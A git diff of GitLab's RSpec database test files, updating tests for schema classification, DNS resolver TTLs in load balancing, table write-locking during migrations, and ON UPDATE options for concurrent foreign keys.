diff --git a/spec/lib/gitlab/database/background_migration/health_status/indicators/autovacuum_active_on_table_spec.rb b/spec/lib/gitlab/database/background_migration/health_status/indicators/autovacuum_active_on_table_spec.rb
index db4383a79d4..1c0f5a0c420 100644
--- a/spec/lib/gitlab/database/background_migration/health_status/indicators/autovacuum_active_on_table_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/health_status/indicators/autovacuum_active_on_table_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::BackgroundMigration::HealthStatus::Indicators::AutovacuumActiveOnTable do
+RSpec.describe Gitlab::Database::BackgroundMigration::HealthStatus::Indicators::AutovacuumActiveOnTable,
+ feature_category: :database do
include Database::DatabaseHelpers
let(:connection) { Gitlab::Database.database_base_models[:main].connection }
@@ -17,7 +18,7 @@ RSpec.describe Gitlab::Database::BackgroundMigration::HealthStatus::Indicators::
subject { described_class.new(context).evaluate }
before do
- swapout_view_for_table(:postgres_autovacuum_activity)
+ swapout_view_for_table(:postgres_autovacuum_activity, connection: connection)
end
let(:tables) { [table] }
diff --git a/spec/lib/gitlab/database/consistency_checker_spec.rb b/spec/lib/gitlab/database/consistency_checker_spec.rb
index 2ff79d20786..c0f0c349ddd 100644
--- a/spec/lib/gitlab/database/consistency_checker_spec.rb
+++ b/spec/lib/gitlab/database/consistency_checker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::ConsistencyChecker do
+RSpec.describe Gitlab::Database::ConsistencyChecker, feature_category: :pods do
let(:batch_size) { 10 }
let(:max_batches) { 4 }
let(:max_runtime) { described_class::MAX_RUNTIME }
diff --git a/spec/lib/gitlab/database/gitlab_schema_spec.rb b/spec/lib/gitlab/database/gitlab_schema_spec.rb
index 4b37cbda047..28a087d5401 100644
--- a/spec/lib/gitlab/database/gitlab_schema_spec.rb
+++ b/spec/lib/gitlab/database/gitlab_schema_spec.rb
@@ -8,13 +8,40 @@ RSpec.shared_examples 'validate path globs' do |path_globs|
end
end
+RSpec.shared_examples 'validate schema data' do |tables_and_views|
+ it 'all tables and views have assigned a known gitlab_schema' do
+ expect(tables_and_views).to all(
+ match([be_a(String), be_in(Gitlab::Database.schemas_to_base_models.keys.map(&:to_sym))])
+ )
+ end
+end
+
RSpec.describe Gitlab::Database::GitlabSchema do
- describe '.views_and_tables_to_schema' do
- it 'all tables and views have assigned a known gitlab_schema' do
- expect(described_class.views_and_tables_to_schema).to all(
- match([be_a(String), be_in(Gitlab::Database.schemas_to_base_models.keys.map(&:to_sym))])
- )
+ shared_examples 'maps table name to table schema' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:name, :classification) do
+ 'ci_builds' | :gitlab_ci
+ 'my_schema.ci_builds' | :gitlab_ci
+ 'information_schema.columns' | :gitlab_internal
+ 'audit_events_part_5fc467ac26' | :gitlab_main
+ '_test_gitlab_main_table' | :gitlab_main
+ '_test_gitlab_ci_table' | :gitlab_ci
+ '_test_my_table' | :gitlab_shared
+ 'pg_attribute' | :gitlab_internal
+ end
+
+ with_them do
+ it { is_expected.to eq(classification) }
end
+ end
+
+ describe '.deleted_views_and_tables_to_schema' do
+ include_examples 'validate schema data', described_class.deleted_views_and_tables_to_schema
+ end
+
+ describe '.views_and_tables_to_schema' do
+ include_examples 'validate schema data', described_class.views_and_tables_to_schema
# This being run across different databases indirectly also tests
# a general consistency of structure across databases
@@ -55,6 +82,14 @@ RSpec.describe Gitlab::Database::GitlabSchema do
include_examples 'validate path globs', described_class.view_path_globs
end
+ describe '.deleted_tables_path_globs' do
+ include_examples 'validate path globs', described_class.deleted_tables_path_globs
+ end
+
+ describe '.deleted_views_path_globs' do
+ include_examples 'validate path globs', described_class.deleted_views_path_globs
+ end
+
describe '.tables_to_schema' do
let(:database_models) { Gitlab::Database.database_base_models.except(:geo) }
let(:views) { database_models.flat_map { |_, m| m.connection.views }.sort.uniq }
@@ -81,25 +116,85 @@ RSpec.describe Gitlab::Database::GitlabSchema do
end
end
+ describe '.table_schemas' do
+ let(:tables) { %w[users projects ci_builds] }
+
+ subject { described_class.table_schemas(tables) }
+
+ it 'returns the matched schemas' do
+ expect(subject).to match_array %i[gitlab_main gitlab_ci].to_set
+ end
+
+ context 'when one of the tables does not have a matching table schema' do
+ let(:tables) { %w[users projects unknown ci_builds] }
+
+ context 'and undefined parameter is false' do
+ subject { described_class.table_schemas(tables, undefined: false) }
+
+ it 'includes a nil value' do
+ is_expected.to match_array [:gitlab_main, nil, :gitlab_ci].to_set
+ end
+ end
+
+ context 'and undefined parameter is true' do
+ subject { described_class.table_schemas(tables, undefined: true) }
+
+ it 'includes "undefined_<table_name>"' do
+ is_expected.to match_array [:gitlab_main, :undefined_unknown, :gitlab_ci].to_set
+ end
+ end
+
+ context 'and undefined parameter is not specified' do
+ it 'includes a nil value' do
+ is_expected.to match_array [:gitlab_main, :undefined_unknown, :gitlab_ci].to_set
+ end
+ end
+ end
+ end
+
describe '.table_schema' do
- using RSpec::Parameterized::TableSyntax
+ subject { described_class.table_schema(name) }
- where(:name, :classification) do
- 'ci_builds' | :gitlab_ci
- 'my_schema.ci_builds' | :gitlab_ci
- 'information_schema.columns' | :gitlab_internal
- 'audit_events_part_5fc467ac26' | :gitlab_main
- '_test_gitlab_main_table' | :gitlab_main
- '_test_gitlab_ci_table' | :gitlab_ci
- '_test_my_table' | :gitlab_shared
- 'pg_attribute' | :gitlab_internal
- 'my_other_table' | :undefined_my_other_table
+ it_behaves_like 'maps table name to table schema'
+
+ context 'when mapping fails' do
+ let(:name) { 'unknown_table' }
+
+ context "and parameter 'undefined' is set to true" do
+ subject { described_class.table_schema(name, undefined: true) }
+
+ it { is_expected.to eq(:undefined_unknown_table) }
+ end
+
+ context "and parameter 'undefined' is set to false" do
+ subject { described_class.table_schema(name, undefined: false) }
+
+ it { is_expected.to be_nil }
+ end
+
+ context "and parameter 'undefined' is not set" do
+ subject { described_class.table_schema(name) }
+
+ it { is_expected.to eq(:undefined_unknown_table) }
+ end
end
+ end
- with_them do
- subject { described_class.table_schema(name) }
+ describe '.table_schema!' do
+ subject { described_class.table_schema!(name) }
- it { is_expected.to eq(classification) }
+ it_behaves_like 'maps table name to table schema'
+
+ context 'when mapping fails' do
+ let(:name) { 'non_existing_table' }
+
+ it "raises error" do
+ expect { subject }.to raise_error(
+ Gitlab::Database::GitlabSchema::UnknownSchemaError,
+ "Could not find gitlab schema for table #{name}: " \
+ "Any new tables must be added to the database dictionary"
+ )
+ end
end
end
end
diff --git a/spec/lib/gitlab/database/indexing_exclusive_lease_guard_spec.rb b/spec/lib/gitlab/database/indexing_exclusive_lease_guard_spec.rb
new file mode 100644
index 00000000000..ddc9cdee92f
--- /dev/null
+++ b/spec/lib/gitlab/database/indexing_exclusive_lease_guard_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::IndexingExclusiveLeaseGuard, feature_category: :database do
+ let(:helper_class) do
+ Class.new do
+ include Gitlab::Database::IndexingExclusiveLeaseGuard
+
+ attr_reader :connection
+
+ def initialize(connection)
+ @connection = connection
+ end
+ end
+ end
+
+ describe '#lease_key' do
+ let(:helper) { helper_class.new(connection) }
+ let(:lease_key) { "gitlab/database/indexing/actions/#{database_name}" }
+
+ context 'with CI database connection' do
+ let(:connection) { Ci::ApplicationRecord.connection }
+ let(:database_name) { Gitlab::Database::CI_DATABASE_NAME }
+
+ before do
+ skip_if_multiple_databases_not_setup
+ end
+
+ it { expect(helper.lease_key).to eq(lease_key) }
+ end
+
+ context 'with MAIN database connection' do
+ let(:connection) { ApplicationRecord.connection }
+ let(:database_name) { Gitlab::Database::MAIN_DATABASE_NAME }
+
+ it { expect(helper.lease_key).to eq(lease_key) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/resolver_spec.rb b/spec/lib/gitlab/database/load_balancing/resolver_spec.rb
index 0051cf50255..4af36693383 100644
--- a/spec/lib/gitlab/database/load_balancing/resolver_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/resolver_spec.rb
@@ -2,15 +2,16 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::LoadBalancing::Resolver do
+RSpec.describe Gitlab::Database::LoadBalancing::Resolver, :freeze_time, feature_category: :database do
describe '#resolve' do
let(:ip_addr) { IPAddr.new('127.0.0.2') }
context 'when nameserver is an IP' do
it 'returns an IPAddr object' do
service = described_class.new('127.0.0.2')
+ response = service.resolve
- expect(service.resolve).to eq(ip_addr)
+ expect(response.address).to eq(ip_addr)
end
end
@@ -22,12 +23,14 @@ RSpec.describe Gitlab::Database::LoadBalancing::Resolver do
allow(instance).to receive(:getaddress).with('localhost').and_return('127.0.0.2')
end
- expect(subject).to eq(ip_addr)
+ expect(subject.address).to eq(ip_addr)
end
context 'when nameserver is not in the hosts file' do
+ let(:raw_ttl) { 10 }
+
it 'looks the nameserver up in DNS' do
- resource = double(:resource, address: ip_addr)
+ resource = double(:resource, address: ip_addr, ttl: raw_ttl)
packet = double(:packet, answer: [resource])
allow_next_instance_of(Resolv::Hosts) do |instance|
@@ -38,7 +41,8 @@ RSpec.describe Gitlab::Database::LoadBalancing::Resolver do
.with('localhost', Net::DNS::A)
.and_return(packet)
- expect(subject).to eq(ip_addr)
+ expect(subject.address).to eq(ip_addr)
+ expect(subject.ttl).to eq(raw_ttl.seconds.from_now)
end
context 'when nameserver is not in DNS' do
diff --git a/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
index 984d60e9962..bfd9c644ffa 100644
--- a/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
+++ b/spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
+RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery, feature_category: :database do
let(:load_balancer) do
configuration = Gitlab::Database::LoadBalancing::Configuration.new(ActiveRecord::Base)
configuration.service_discovery[:record] = 'localhost'
@@ -23,6 +23,8 @@ RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
resource = double(:resource, address: IPAddr.new('127.0.0.1'))
packet = double(:packet, answer: [resource])
+ service.instance_variable_set(:@nameserver_ttl, Gitlab::Database::LoadBalancing::Resolver::FAR_FUTURE_TTL)
+
allow(Net::DNS::Resolver).to receive(:start)
.with('localhost', Net::DNS::A)
.and_return(packet)
@@ -362,4 +364,52 @@ RSpec.describe Gitlab::Database::LoadBalancing::ServiceDiscovery do
expect(service.addresses_from_load_balancer).to eq(addresses)
end
end
+
+ describe '#resolver', :freeze_time do
+ context 'without predefined resolver' do
+ it 'fetches a new resolver and assigns it to the instance variable' do
+ expect(service.instance_variable_get(:@resolver)).not_to be_present
+
+ service_resolver = service.resolver
+
+ expect(service.instance_variable_get(:@resolver)).to be_present
+ expect(service_resolver).to be_present
+ end
+ end
+
+ context 'with predefined resolver' do
+ let(:resolver) do
+ Net::DNS::Resolver.new(
+ nameservers: 'localhost',
+ port: 8600
+ )
+ end
+
+ before do
+ service.instance_variable_set(:@resolver, resolver)
+ end
+
+ context "when nameserver's TTL is in the future" do
+ it 'returns the existing resolver' do
+ expect(service.resolver).to eq(resolver)
+ end
+ end
+
+ context "when nameserver's TTL is in the past" do
+ before do
+ service.instance_variable_set(
+ :@nameserver_ttl,
+ 1.minute.ago
+ )
+ end
+
+ it 'fetches new resolver' do
+ service_resolver = service.resolver
+
+ expect(service_resolver).to be_present
+ expect(service_resolver).not_to eq(resolver)
+ end
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/lock_writes_manager_spec.rb b/spec/lib/gitlab/database/lock_writes_manager_spec.rb
index 242b2040eaa..c06c463d918 100644
--- a/spec/lib/gitlab/database/lock_writes_manager_spec.rb
+++ b/spec/lib/gitlab/database/lock_writes_manager_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::LockWritesManager do
+RSpec.describe Gitlab::Database::LockWritesManager, :delete, feature_category: :pods do
let(:connection) { ApplicationRecord.connection }
let(:test_table) { '_test_table' }
let(:logger) { instance_double(Logger) }
@@ -13,12 +13,14 @@ RSpec.describe Gitlab::Database::LockWritesManager do
table_name: test_table,
connection: connection,
database_name: 'main',
+ with_retries: true,
logger: logger,
dry_run: dry_run
)
end
before do
+ allow(connection).to receive(:execute).and_call_original
allow(logger).to receive(:info)
connection.execute(<<~SQL)
@@ -29,20 +31,24 @@ RSpec.describe Gitlab::Database::LockWritesManager do
SQL
end
+ after do
+ ApplicationRecord.connection.execute("DROP TABLE IF EXISTS #{test_table}")
+ end
+
describe "#table_locked_for_writes?" do
it 'returns false for a table that is not locked for writes' do
- expect(subject.table_locked_for_writes?(test_table)).to eq(false)
+ expect(subject.table_locked_for_writes?).to eq(false)
end
it 'returns true for a table that is locked for writes' do
- expect { subject.lock_writes }.to change { subject.table_locked_for_writes?(test_table) }.from(false).to(true)
+ expect { subject.lock_writes }.to change { subject.table_locked_for_writes? }.from(false).to(true)
end
context 'for detached partition tables in another schema' do
let(:test_table) { 'gitlab_partitions_dynamic._test_table_20220101' }
it 'returns true for a table that is locked for writes' do
- expect { subject.lock_writes }.to change { subject.table_locked_for_writes?(test_table) }.from(false).to(true)
+ expect { subject.lock_writes }.to change { subject.table_locked_for_writes? }.from(false).to(true)
end
end
end
@@ -83,21 +89,19 @@ RSpec.describe Gitlab::Database::LockWritesManager do
it 'retries again if it receives a statement_timeout a few number of times' do
error_message = "PG::QueryCanceled: ERROR: canceling statement due to statement timeout"
call_count = 0
- allow(connection).to receive(:execute) do |statement|
- if statement.include?("CREATE TRIGGER")
- call_count += 1
- raise(ActiveRecord::QueryCanceled, error_message) if call_count.even?
- end
+ expect(connection).to receive(:execute).twice.with(/^CREATE TRIGGER gitlab_schema_write_trigger_for_/) do
+ call_count += 1
+ raise(ActiveRecord::QueryCanceled, error_message) if call_count.odd?
end
subject.lock_writes
+
+ expect(call_count).to eq(2) # The first call fails, the 2nd call succeeds
end
it 'raises the exception if it happened many times' do
error_message = "PG::QueryCanceled: ERROR: canceling statement due to statement timeout"
- allow(connection).to receive(:execute) do |statement|
- if statement.include?("CREATE TRIGGER")
- raise(ActiveRecord::QueryCanceled, error_message)
- end
+ allow(connection).to receive(:execute).with(/^CREATE TRIGGER gitlab_schema_write_trigger_for_/) do
+ raise(ActiveRecord::QueryCanceled, error_message)
end
expect do
@@ -152,6 +156,7 @@ RSpec.describe Gitlab::Database::LockWritesManager do
table_name: test_table,
connection: connection,
database_name: 'main',
+ with_retries: true,
logger: logger,
dry_run: false
).lock_writes
diff --git a/spec/lib/gitlab/database/loose_foreign_keys_spec.rb b/spec/lib/gitlab/database/loose_foreign_keys_spec.rb
index ff99f681b0c..3c2d9ca82f2 100644
--- a/spec/lib/gitlab/database/loose_foreign_keys_spec.rb
+++ b/spec/lib/gitlab/database/loose_foreign_keys_spec.rb
@@ -112,4 +112,31 @@ RSpec.describe Gitlab::Database::LooseForeignKeys do
end
end
end
+
+ describe '.build_definition' do
+ context 'when child table schema is not defined' do
+ let(:loose_foreign_keys_yaml) do
+ {
+ 'ci_unknown_table' => [
+ {
+ 'table' => 'projects',
+ 'column' => 'project_id',
+ 'on_delete' => 'async_delete'
+ }
+ ]
+ }
+ end
+
+ subject { described_class.definitions }
+
+ before do
+ described_class.instance_variable_set(:@definitions, nil)
+ described_class.instance_variable_set(:@loose_foreign_keys_yaml, loose_foreign_keys_yaml)
+ end
+
+ it 'raises Gitlab::Database::GitlabSchema::UnknownSchemaError error' do
+ expect { subject }.to raise_error(Gitlab::Database::GitlabSchema::UnknownSchemaError)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb b/spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb
index 9fd49b312eb..089c7a779f2 100644
--- a/spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables_spec.rb
@@ -3,27 +3,39 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
- :reestablished_active_record_base, query_analyzers: false do
+ :reestablished_active_record_base, :delete, query_analyzers: false, feature_category: :pods do
using RSpec::Parameterized::TableSyntax
let(:schema_class) { Class.new(Gitlab::Database::Migration[2.1]) }
+ let(:skip_automatic_lock_on_writes) { false }
let(:gitlab_main_table_name) { :_test_gitlab_main_table }
let(:gitlab_ci_table_name) { :_test_gitlab_ci_table }
let(:gitlab_geo_table_name) { :_test_gitlab_geo_table }
let(:gitlab_shared_table_name) { :_test_table }
+ let(:renamed_gitlab_main_table_name) { :_test_gitlab_main_new_table }
+ let(:renamed_gitlab_ci_table_name) { :_test_gitlab_ci_new_table }
+
before do
stub_feature_flags(automatic_lock_writes_on_table: true)
reconfigure_db_connection(model: ActiveRecord::Base, config_model: config_model)
end
+ # Drop the created test tables, because we use non-transactional tests
+ after do
+ drop_table_if_exists(gitlab_main_table_name)
+ drop_table_if_exists(gitlab_ci_table_name)
+ drop_table_if_exists(gitlab_geo_table_name)
+ drop_table_if_exists(gitlab_shared_table_name)
+ drop_table_if_exists(renamed_gitlab_main_table_name)
+ drop_table_if_exists(renamed_gitlab_ci_table_name)
+ end
+
shared_examples 'does not lock writes on table' do |config_model|
let(:config_model) { config_model }
it 'allows deleting records from the table' do
- allow_next_instance_of(Gitlab::Database::LockWritesManager) do |instance|
- expect(instance).not_to receive(:lock_writes)
- end
+ expect(Gitlab::Database::LockWritesManager).not_to receive(:new)
run_migration
@@ -37,9 +49,10 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
let(:config_model) { config_model }
it 'errors on deleting' do
- allow_next_instance_of(Gitlab::Database::LockWritesManager) do |instance|
+ expect_next_instance_of(Gitlab::Database::LockWritesManager) do |instance|
expect(instance).to receive(:lock_writes).and_call_original
end
+ expect(Gitlab::Database::WithLockRetries).not_to receive(:new)
run_migration
@@ -49,22 +62,35 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
end
end
- context 'when executing create_table migrations' do
- let(:create_gitlab_main_table_migration_class) { create_table_migration(gitlab_main_table_name) }
- let(:create_gitlab_ci_table_migration_class) { create_table_migration(gitlab_ci_table_name) }
- let(:create_gitlab_shared_table_migration_class) { create_table_migration(gitlab_shared_table_name) }
+ shared_examples 'locks writes on table using WithLockRetries' do |config_model|
+ let(:config_model) { config_model }
+
+ it 'locks the writes on the table using WithLockRetries' do
+ expect_next_instance_of(Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).and_call_original
+ end
+ run_migration
+
+ expect do
+ migration_class.connection.execute("DELETE FROM #{table_name}")
+ end.to raise_error(ActiveRecord::StatementInvalid, /is write protected/)
+ end
+ end
+
+ context 'when executing create_table migrations' do
context 'when single database' do
let(:config_model) { Gitlab::Database.database_base_models[:main] }
+ let(:create_gitlab_main_table_migration_class) { create_table_migration(gitlab_main_table_name) }
+ let(:create_gitlab_ci_table_migration_class) { create_table_migration(gitlab_ci_table_name) }
+ let(:create_gitlab_shared_table_migration_class) { create_table_migration(gitlab_shared_table_name) }
before do
skip_if_multiple_databases_are_setup
end
it 'does not lock any newly created tables' do
- allow_next_instance_of(Gitlab::Database::LockWritesManager) do |instance|
- expect(instance).not_to receive(:lock_writes)
- end
+ expect(Gitlab::Database::LockWritesManager).not_to receive(:new)
create_gitlab_main_table_migration_class.migrate(:up)
create_gitlab_ci_table_migration_class.migrate(:up)
@@ -83,9 +109,12 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
skip_if_multiple_databases_not_setup
end
- let(:skip_automatic_lock_on_writes) { false }
let(:migration_class) { create_table_migration(table_name, skip_automatic_lock_on_writes) }
- let(:run_migration) { migration_class.migrate(:up) }
+ let(:run_migration) do
+ migration_class.connection.transaction do
+ migration_class.migrate(:up)
+ end
+ end
context 'for creating a gitlab_main table' do
let(:table_name) { gitlab_main_table_name }
@@ -95,7 +124,9 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
context 'when table listed as a deleted table' do
before do
- stub_const("Gitlab::Database::GitlabSchema::DELETED_TABLES", { table_name.to_s => :gitlab_main })
+ allow(Gitlab::Database::GitlabSchema).to receive(:deleted_tables_to_schema).and_return(
+ { table_name.to_s => :gitlab_main }
+ )
end
it_behaves_like 'does not lock writes on table', Gitlab::Database.database_base_models[:ci]
@@ -107,6 +138,14 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
it_behaves_like 'does not lock writes on table', Gitlab::Database.database_base_models[:ci]
end
+ context 'when migration does not run within a transaction' do
+ let(:run_migration) do
+ migration_class.migrate(:up)
+ end
+
+ it_behaves_like 'locks writes on table using WithLockRetries', Gitlab::Database.database_base_models[:ci]
+ end
+
context 'when the SKIP_AUTOMATIC_LOCK_ON_WRITES feature flag is set' do
before do
stub_env('SKIP_AUTOMATIC_LOCK_ON_WRITES' => 'true')
@@ -132,7 +171,9 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
context 'when table listed as a deleted table' do
before do
- stub_const("Gitlab::Database::GitlabSchema::DELETED_TABLES", { table_name.to_s => :gitlab_ci })
+ allow(Gitlab::Database::GitlabSchema).to receive(:deleted_tables_to_schema).and_return(
+ { table_name.to_s => :gitlab_ci }
+ )
end
it_behaves_like 'does not lock writes on table', Gitlab::Database.database_base_models[:main]
@@ -202,11 +243,15 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
end
let(:migration_class) { rename_table_migration(old_table_name, table_name) }
- let(:run_migration) { migration_class.migrate(:up) }
+ let(:run_migration) do
+ migration_class.connection.transaction do
+ migration_class.migrate(:up)
+ end
+ end
context 'when a gitlab_main table' do
let(:old_table_name) { gitlab_main_table_name }
- let(:table_name) { :_test_gitlab_main_new_table }
+ let(:table_name) { renamed_gitlab_main_table_name }
let(:database_base_model) { Gitlab::Database.database_base_models[:main] }
it_behaves_like 'does not lock writes on table', Gitlab::Database.database_base_models[:main]
@@ -215,7 +260,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
context 'when a gitlab_ci table' do
let(:old_table_name) { gitlab_ci_table_name }
- let(:table_name) { :_test_gitlab_ci_new_table }
+ let(:table_name) { renamed_gitlab_ci_table_name }
let(:database_base_model) { Gitlab::Database.database_base_models[:ci] }
it_behaves_like 'does not lock writes on table', Gitlab::Database.database_base_models[:ci]
@@ -236,9 +281,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
end
it 'does not lock any newly created tables' do
- allow_next_instance_of(Gitlab::Database::LockWritesManager) do |instance|
- expect(instance).not_to receive(:lock_writes)
- end
+ expect(Gitlab::Database::LockWritesManager).not_to receive(:new)
drop_gitlab_main_table_migration_class.connection.execute("CREATE TABLE #{gitlab_main_table_name}()")
drop_gitlab_ci_table_migration_class.connection.execute("CREATE TABLE #{gitlab_ci_table_name}()")
@@ -268,7 +311,11 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
end
let(:migration_class) { drop_table_migration(table_name) }
- let(:run_migration) { migration_class.migrate(:down) }
+ let(:run_migration) do
+ migration_class.connection.transaction do
+ migration_class.migrate(:down)
+ end
+ end
context 'for re-creating a gitlab_main table' do
let(:table_name) { gitlab_main_table_name }
@@ -293,14 +340,14 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
end
end
- def create_table_migration(table_name, skip_lock_on_writes = false)
+ def create_table_migration(table_name, skip_automatic_lock_on_writes = false)
migration_class = Class.new(schema_class) do
class << self; attr_accessor :table_name; end
def change
create_table self.class.table_name
end
end
- migration_class.skip_automatic_lock_on_writes = skip_lock_on_writes
+ migration_class.skip_automatic_lock_on_writes = skip_automatic_lock_on_writes
migration_class.tap { |klass| klass.table_name = table_name }
end
@@ -331,4 +378,11 @@ RSpec.describe Gitlab::Database::MigrationHelpers::AutomaticLockWritesOnTables,
def geo_configured?
!!ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: 'geo')
end
+
+ # To drop the test tables that have been created in the test migrations
+ def drop_table_if_exists(table_name)
+ Gitlab::Database.database_base_models.each_value do |model|
+ model.connection.execute("DROP TABLE IF EXISTS #{table_name}")
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb b/spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb
index e8045f5afec..714fbab5aff 100644
--- a/spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::MigrationHelpers::RestrictGitlabSchema, query_analyzers: false, stub_feature_flags: false do
+RSpec.describe Gitlab::Database::MigrationHelpers::RestrictGitlabSchema, query_analyzers: false,
+ stub_feature_flags: false, feature_category: :pods do
let(:schema_class) { Class.new(Gitlab::Database::Migration[1.0]).include(described_class) }
# We keep only the GitlabSchemasValidateConnection analyzer running
@@ -125,8 +126,9 @@ RSpec.describe Gitlab::Database::MigrationHelpers::RestrictGitlabSchema, query_a
"does add index to ci_builds in gitlab_main and gitlab_ci" => {
migration: ->(klass) do
def change
- # Due to running in transactin we cannot use `add_concurrent_index`
- add_index :ci_builds, :tag, where: "type = 'Ci::Build'", name: 'index_ci_builds_on_tag_and_type_eq_ci_build'
+ # Due to running in transaction we cannot use `add_concurrent_index`
+ index_name = 'index_ci_builds_on_tag_and_type_eq_ci_build'
+ add_index :ci_builds, :tag, where: "type = 'Ci::Build'", name: index_name
end
end,
query_matcher: /CREATE INDEX/,
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index 30eeff31326..12fa115cc4e 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -743,6 +743,75 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
end
end
+ context 'ON UPDATE statements' do
+ context 'on_update: :nullify' do
+ it 'appends ON UPDATE SET NULL statement' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/SET statement_timeout TO/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET statement_timeout/)
+
+ expect(model).to receive(:execute).with(/ON UPDATE SET NULL/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id,
+ on_update: :nullify)
+ end
+ end
+
+ context 'on_update: :cascade' do
+ it 'appends ON UPDATE CASCADE statement' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/SET statement_timeout TO/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET statement_timeout/)
+
+ expect(model).to receive(:execute).with(/ON UPDATE CASCADE/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id,
+ on_update: :cascade)
+ end
+ end
+
+ context 'on_update: nil' do
+ it 'appends no ON UPDATE statement' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/SET statement_timeout TO/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET statement_timeout/)
+
+ expect(model).not_to receive(:execute).with(/ON UPDATE/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id,
+ on_update: nil)
+ end
+ end
+
+ context 'when on_update is not provided' do
+ it 'appends no ON UPDATE statement' do
+ expect(model).to receive(:with_lock_retries).and_call_original
+ expect(model).to receive(:disable_statement_timeout).and_call_original
+ expect(model).to receive(:statement_timeout_disabled?).and_return(false)
+ expect(model).to receive(:execute).with(/SET statement_timeout TO/)
+ expect(model).to receive(:execute).ordered.with(/VALIDATE CONSTRAINT/)
+ expect(model).to receive(:execute).ordered.with(/RESET statement_timeout/)
+
+ expect(model).not_to receive(:execute).with(/ON UPDATE/)
+
+ model.add_concurrent_foreign_key(:projects, :users,
+ column: :user_id)
+ end
+ end
+ end
+
context 'when no custom key name is supplied' do
it 'creates a concurrent foreign key and validates it' do
expect(model).to receive(:with_lock_retries).and_call_original
@@ -760,6 +829,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
name = model.concurrent_foreign_key_name(:projects, :user_id)
expect(model).to receive(:foreign_key_exists?).with(:projects, :users,
column: :user_id,
+ on_update: nil,
on_delete: :cascade,
name: name,
primary_key: :id).and_return(true)
@@ -792,6 +862,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model).to receive(:foreign_key_exists?).with(:projects, :users,
name: :foo,
primary_key: :id,
+ on_update: nil,
on_delete: :cascade,
column: :user_id).and_return(true)
